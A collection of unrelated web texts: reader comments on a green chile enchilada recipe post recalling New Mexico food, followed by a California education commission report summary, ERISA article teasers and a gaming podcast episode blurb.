We went to ABQ just to see you, but had car problems and wound up sitting at the dealership instead! But I'm glad you got some green chile while you were there! Flying Star is a fav restaurant of ours. But I hate that we missed getting to meet you!
CanonCowgirl On Thursday, May 31 at 1:28 pm
I love this idea! Enchiladas are my fave, but I hate putting them together, so messy! I think I'll still heat the tortillas in oil and/or sauce first to make sure it's good and coated everywhere! ;-D
Kelly F. On Thursday, May 31 at 1:40 pm
Looks yummy! And bonus points for spelling chile properly
Maura @ My Healthy 'Ohana On Thursday, May 31 at 2:06 pm
Wow, these look delicious and easy! I might make it for breakfast and top with some fried eggs
Stacy C. On Thursday, May 31 at 2:25 pm
Ree – when you order both red and green chile it's called Christmas. Good to know in case you make it back to the Land of Enchantment some day!
Elizabeth On Thursday, May 31 at 2:30 pm
Thanks for another great recipe, looks very easy and delish! P.S. I love exclamation points too
Candy Davis On Thursday, May 31 at 2:33 pm
This looks fantastic – what an easy week night (vegetarian!) meal!
I would serve with some shredded lettuce and diced tomato, mmmmm!
LakeladyP On Thursday, May 31 at 2:39 pm
I haven't read all of the comments, so I hope this isn't a duplicate. In New Mexico, you will always be asked the same question at restaurants: Red or Green Sauce? If you like both, you say "Christmas".
Renee On Thursday, May 31 at 2:42 pm
If you want to sound more 'native' when ordering your enchiladas- order it Christmas style- that's with both red and green chili. I second the suggestion that there are more authentic places to eat in ABQ but Flying Star is still a favorite
Granny C On Thursday, May 31 at 2:48 pm
Ree, this was a Friday night staple growing up in a Mexican/Catholic household during Lent. My favorite was enchiladas with red sauce, onions, cheese and pinto beans and a fried egg (over easy-runny yolk a must!) on top. Muy delicioso!
Trish the Dish On Thursday, May 31 at 2:55 pm
THANK YOU REE for visiting Albuquerque! You are beautiful, tall : ) and were so gracious to everyone at the signing. Our picture together is hanging in my kitchen, and it makes me smile every day. New Mexico has wonderful unique cuisine especially around Christmas time, it would be terrific to share some of these recipes with your readers, come back anytime! XOXOXO
Kathy Murray On Thursday, May 31 at 3:08 pm
Anything with Chili Sauce sounds great to me. I can't wait to try these. Thanks, Ree
Granny C On Thursday, May 31 at 3:08 pm
Ree, if you ever make it to Enid, Jumbo Foods periodically has fresh Hatch green chiles and they will even roast them for you for FREE! They freeze beautifully. Canned are ok, but nothing beats fresh.
Karen Taylor On Thursday, May 31 at 3:48 pm
Hi Ree,
Been loving your site and books for awhile now! I want to thank you for making me homesick all the time for the west, and for cooking REAL southwestern food…we don't have many places in Atlanta that do that! (found a few out of the way places though that rock!) BTW, My daughter and I literally JUST started a food blog this week, and I am giving you your props more and more each day. This is hard!
Anyway, I have a proposition for you. After reading your post and recipe about green chile enchiladas, I was wondering if you could help me with something. I have been making a "handmedown" recipe from a native of Albequerque for open face enchiladas for like 30 years! They are awesome and I get rave reviews (especially when i can get some of the chili powder from NM), but I think it needs an "update"…do you think if I sent it to you, you could work your majic and make it even more awesome?? Of course, I'd give you all the credit…I just want to make it better!
Thanks so much,
Yvette On Thursday, May 31 at 4:50 pm
I only have one thing to say about this recipe Ree- Yummmmmmmm….
Desa Rinaldi On Thursday, May 31 at 5:12 pm
Hi Ree,
Just finished putting dinner in the oven (after making some pumpkin brownies) and was wondering if you updated your website and there they were. . . these beautiful enchiladas. Exactly what I made for dinner tonight! Mine are with chicken and a red sauce, rolled, not flat. Lots of Mexican crema and cheddar. Enjoy dinner and your evening. Thanks for all your time spent in bringing us your beautiful life (and cooking ideas!). Been enjoying you for a few years.
Andrea O. On Thursday, May 31 at 5:23 pm
I use to live in Albuquerque and I LOVE Flying Star! They have excellent food and their bakery items are divine! Next time you are in town you should try their Southwest Bennie (eggs benedict with a green chile hollandaise sauce) YUM
Yaya2Three On Thursday, May 31 at 5:33 pm
Oh Ree—If only you had known—-absolutely the BEST desserts at The Flying Star!!! Darnnit. You would have loved anything from there!
Sally Gavras On Thursday, May 31 at 5:54 pm
When you want red AND green sauce you order "Christmas." It's the best!
Nichole@Dulce Delicious On Thursday, May 31 at 6:00 pm
I love enchiladas! These look amazing! Yum!
Bobbie in AK On Thursday, May 31 at 6:15 pm
I lived in Albuquerque for 14 years and both of my kids were born there. I miss real green chile so, so much! The Flying Star is good. Great baked goods. Next time you're there go to Sadie's or Garcia's. YUM!! We'll be visiting friends and family in July and both places are on my must. eat. list. For a quick fix try New Mexico Chile Co's Coyote Trail Green Chile sauce or Enchilada sauce. Thanks for another great recipe!!
Grace On Thursday, May 31 at 6:36 pm
Karon On Thursday, May 31 at 6:36 pm
Red Sauce + Green Sauce = Christmas Tree when you order food.
Try adding a bit of Chicken and some fresh roasted Hatch Chili's …yummy
When we were in Alb overnight we ate at Village Inn the next morning had enchilda's and eggs…OH a breakfast to die for and rave about 15 years later. Spicy but not too spicy but you felt the burn even after an hour. The got the enchilada's from a local hole in the wall about a mile down the road they told me.
Nicole On Thursday, May 31 at 6:50 pm
Made this tonight and it was great! Added some rotisserie chicken on top. Was too lazy to make guacamole so I just sliced an avocado and added a few slices to the side. Easy and quick. Thanks!
Cathy Brown On Thursday, May 31 at 6:52 pm
Hi Ree! Try this with the jar of El Pinto roasted Hatch green chile….and you must try shredded beef enchiladas with the red!!
Laura On Thursday, May 31 at 6:54 pm
Oh, I am soooo going to make this for dinner. Thanks for the recipe : ~]
Deborah On Thursday, May 31 at 7:38 pm
My husband was born and raised in Carlsbad, NM. Many years ago I learned the New Mexico way to make enchiladas. Stacked! We usually use ground beef in the layers. He loves the red chile sauce and I usually stack them about 4 high, topped off with a fried egg. Traditional New Mexico style. For myself, I use green enchilada sauce and only go maybe 3 layers, topped with the fried egg. It's a big treat for us now to have stacked enchiladas as we only use Hatch Enchilada Sauce. We live in Virginia so our daughter in Oklahoma has to ship the sauce to us. So delicious!
Donna On Thursday, May 31 at 8:05 pm
Htch chilis are ok…but we have some super yummy green chili grown over here in southeastern NM!!! (Roswell area)
Ellen W On Thursday, May 31 at 8:21 pm
I make them lasagna style in a casserole pan and add shredded cooked chicken as one of the layers. Yummm!
Lab Mama On Thursday, May 31 at 8:36 pm
This has potential as tomorrow night's dinner!
nini On Thursday, May 31 at 8:59 pm
To do it really New Mexican add a soft fryed egg on top!!!!!!!!!!!!!! yummy yummy yum now i wanna go home lol
Tanya On Thursday, May 31 at 9:47 pm
I just made this and it was fantastic! I made one small change and added the green chile sauce and green chilies to the onions after browning them. And I topped the tortillas with scrambled eggs. So, so good! Thanks for the recipe, Ree!
Sharon P. from Albuquerque On Thursday, May 31 at 9:52 pm
…and New Mexico thanks you for being so sweet and gracious at the book signing! By the way, New Mexico is the only state with an official question: Red or green?
Miss W On Thursday, May 31 at 10:41 pm
Oh my goodness THANK YOU for posting a recipe for REAL enchiladas! As a former NM girl, there is just NO other way to make an enchilada. Hatch chiles, layered (not rolled and not with red sauce poured over it). YUM!
Pamela On Thursday, May 31 at 11:09 pm
Saw this today and grabbed the ingredients I didn't have at the store today. Made a batch tonight even though I had something else planned for dinner. Really enjoyed this take on my traditional method of making enchiladas. Thanks for sharing!
Sue W On Thursday, May 31 at 11:15 pm
Hi Ree, I was SO bummed when I realized that you had come to Albuquerque (the next day), but I am happy that you were able to have some semi-authentic enchiladas! Hope you can stay longer next time and try some of the places others have recommended. Another fun place is The Range, the original one is in Bernalillo, just north of Albuquerque, where I live, and there are two others in Albuquerque. It is a fun, funky place with a varied menu and some great New Mexican food as well. Not to mention the amazing desserts! Hope I meet you next time. Hurry up and write another book so you can go on tour!
LynneW On Friday, June 1 at 12:20 am
There's nothing like NM/ Hatch chiles! "Anything" just wouldn't do!
Nancy @ Coupon Clipping Cook On Friday, June 1 at 1:20 am
Love how these are opened faced. These look so easy and so delicious.
Dee Dee On Friday, June 1 at 3:06 am
I hope you got dessert, too. Flying Star's desserts are fabulous! I'm looking forward to eating the only veggie burger worth eating there on our August trip there, too. The black bean burger is to die for!
Living in the SF Bay area means we don't own an air conditioner, so summers are stove top/microwave/grilled foods. I can make stacked enchiladas without ever turning on the oven. It's a big favorite with our family.
Katie H. On Friday, June 1 at 5:43 am
I made this for my Hubby & 3 of his soldiers after they came home from morning formation. I laid the tortillas in a 13×9 dish added all the ingredients, cracked 4 eggs on top, & popped it in a hot oven hoping the result would be huevos rancheros-esque. It was SO good! I dont think it took me 15 minutes to assemble either. What's great is that we didn't feel like we just overloaded on Mexican food after we ate it. Really yummy, forgiving, & versitile recipe. Thanks, Ree!
Debbie On Friday, June 1 at 7:34 am
i make these except i put a good smear of refried beans on each tortilla before i top w/ cheese & i put grilled shredded chicken between each layer. makes for a more hearty meal.
cedens On Friday, June 1 at 7:57 am
Ree you should have gotten some real green chile to bring home when you were in ABQ, not that canned stuff!
Jackie @Syrup and Biscuits On Friday, June 1 at 8:07 am
What a great way to make saucy sauce even saucier! This is fast food done right! Your penchant for exclamation points is contagious!
Becky (central oregon) On Friday, June 1 at 8:40 am
Top that stack with an over easy egg and we are good to go
Elizabeth Horsman On Friday, June 1 at 8:41 am
looks yummy, but what i really want to say is:
Go THUNDER!!
Sad that my Mavs lost, but I knew it would happen. Would love to see the Thunder take it all this year. Hoping they keep playing like they did last night.
ann On Friday, June 1 at 9:19 am
Had these last night. I'll never make enchiladas any other way. These were so much easier.
Alisha On Friday, June 1 at 9:27 am
I have all the ingredients, I am making this for lunch today with pepper jack cheese.
Deb On Friday, June 1 at 9:27 am
Green chili enchiladas…….. my idea of the perfect comfort food! I grew up in New Mexico and had them often. We softened the tortillas in hot oil and always put a fried egg on top. Try that one time.
Kim On Friday, June 1 at 10:08 am
Our favorite choices for eating out here in NM in ABQ is Duran's Central Pharmacy, or in Santa Fe's The Shed. We are celebrating our centennial, and one of the official projects was a cookbook called Tasting New Mexico, highly recommended if you want to learn about New Mexican/Native/Pueblo cooking and it's distinct differences between mexican and tex-mex food. Here the red or green chile is the main star of a plate of food, not a flavoring or condiment!
So nice Ree to see you savoring some new mexico green chile!
Janet Y. On Friday, June 1 at 10:34 am
Thank you so much for the meatless meal on a Friday when I couldn't possibly think of anything even slightly interesting. You are, as always, a rock star.


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Publication Summary
Report 08-25: Review of Proposal for Los Rios Community College District to Establish an Elk Grove Education Center
Published by The California Postsecondary Education CommissionDecember 2008View Full Publication
This Commission report examines the proposal by the Los Rios Community College District to establish an off-campus educational center in Elk Grove. The proposal was granted "conditional approval" by the California Community College Board of Governors; due to the proposal's "conditional approval" status, the Commission abstains from a vote for approval of the center until the Board of Governors offers the district its full approval for the new center.
Related Topics: Facilities Review
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New 3rd Circuit opinion may change the way ERISA plans approach settlement
Despite the Templin court noting in a footnote that it was not departing from Scarangella, the cases create different standards and are hard to reconcile.
The ERISA renaissance: Will the Supreme Court's affinity for sweeping decisions continue in Tibble?
If the Court decides to engage the parties' factual dispute, it may signal that the Justices have a broader vision for ERISA and that they want more of a direct say as to the building blocks of fiduciary law.
A primer on employment practices liability insurance
Many purchase EPL coverage to protect the company, its executive team and other employees from lawsuits filed by employees, former employees and applicants asserting employment claims.
5 considerations for employee benefit programs that benefit both the employer and employee
The executive suite should take note of retirement plan developments that can financially benefit not only the employer, but also its higher- and lower-paid employees.
Jenner scores litigation win for Nuveen
The case was also notable for the number of women involved, Amert said. "It's refreshing to look around a courtroom and see women (plural!) in prominent positions at both counsel tables and on the bench," she said.
Ropes & Gray achieves putative class-action ERISA suit dismissal against Tribune
Loretta R. Richard, partner at Ropes & Gray, was part of the team that recently secured the dismissal of a putative class-action lawsuit
What is the fiduciary exception? Protecting privilege when advising on employee benefit plan issues
Knowledge of the fiduciary exception and how it applies — or does not apply — to communications regarding employee benefit plan topics will assist counsel in making sure that their advice remains in the appropriate and intended hands.
Supreme Court cases show that now is a critical time for the workplace
With more high profile cases expected to be decided before the Court concludes its term this June, now is a critical time for employers to take notice of the far reaching implications these decisions will have on the American workplace.
Compliance: Cigna v. Amara and how ERISA summary plan descriptions have changed
While it is possible that terms found only in an unintegrated SPD may be enforceable so long as there is no conflicting provision in the plan documents, the safest and most reliable course of action is to add a provision to the policy or SPD stating that the SPD is...
Compliance: Court rulings show adherance to 'unambiguous' ERISA plans only
The danger for plan sponsors and administrators is that plan terms that are not clear will be construed against them using equitable principles.


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Mathew take the night off this time as Ian, Matt & Andrew hunker in the bunker with the intention to cover lots of video game news but instead talk about Activision's COD:ELITE subscription service and very little else. Into Call of Duty? Don't miss our thoughts on this potentially-lucrative cash-grab. Leave a review of this episode on iTunes, check out our community driven blog at http://gamesdaypodcast.com, and/or send feedback on tGDP to email@example.com. Thanks for watching! Thanks to HylianLegend, Rakehellrow, rahpaelmetron, coreydownie, food, Gigers, Gwarn, jarossco, kalienator, ProvenFailsafe, Slopius, Troy, and Xenocide for watching this week's episode!
GamesDay creates gaming community through weekly, live-streamed podcasts, our community-driven weblog, and local gaming events we hold. Watching our show every week ensures you're as up to date as we are on XBox 360, PlayStation 3, Nintendo Wii, Zelda, Skyrim, Mario, Pac Man - whatever we can manage to stuff into a 30 minute show. Please send feedback to email@example.com. Thanks for watching!